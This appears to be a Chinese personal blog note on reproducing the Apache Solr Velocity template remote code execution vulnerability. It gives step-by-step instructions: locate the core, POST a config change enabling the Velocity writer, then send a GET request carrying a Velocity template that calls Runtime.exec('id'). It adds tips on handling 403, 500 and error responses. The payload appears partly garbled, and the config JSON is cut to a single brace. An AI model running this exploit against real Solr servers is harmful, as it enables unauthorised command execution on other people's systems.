记录一下复现过程,防止下次遇见的时候再去翻资料, 首先 Apache Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。 Apache solr历史上有众多高危漏洞,为了自己以后遇见直接找到所有漏洞复现方式,先贴个链接: apache solr历史漏洞列表
复现历程
1、点击core admin 查看部署的应用的路径 (下图应用名就是dovecot)
2、POST 下面更改config的xml 到 /solr/应用名/config(比如:/solr/dovecot/config)
1 | { |
3、请求 POC(注意编码问题,和空格问题)
1 | GET /solr/master_babyartikel_Product_flop/select?q=1&&wt=velocity&v.template=custom&v.template.custom= ($x= )+ ($rt=$x.class.forName(.lang.Runtime ))+ ($chr=$x.class.forName(.lang.Character ))+ ($str=$x.class.forName(.lang.String ))+ ($ex=$rt.getRuntime().exec('id'))+$ex.waitFor()+ ($out=$ex.getInputStream())+ ($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read())) HTTP/1.1 |
目前测试了 7.1 7.4 8.1 都可成功执行代码。
注意事项
注意:1、如果第二步修改config响应403则没权限修,此时如果知道账号密码可进一步操作,如果不知道,建议放弃-哈哈。
          2、如果响应500可能存在的情况就是你的包出现了问题,再次检查请求包是否正确,如果正确则可能是solr的服务损坏。
          3、如果返回200也别太高兴,看看响应有没有error。没有error即可进行第三步,即命令执行POC。
          4、第二步成功的情况下,第三步绝大多数都可以成功,但是有的可能会返回xml,400,等一系列不正常的信息,这时候去看一下config - http://x.x.x.x:8080/solr/应用名/config 查看配置是否真的被你在第二步更改了(搜索velocity 看前后是否是你POST修改的josn)。如果没有则重做第二步。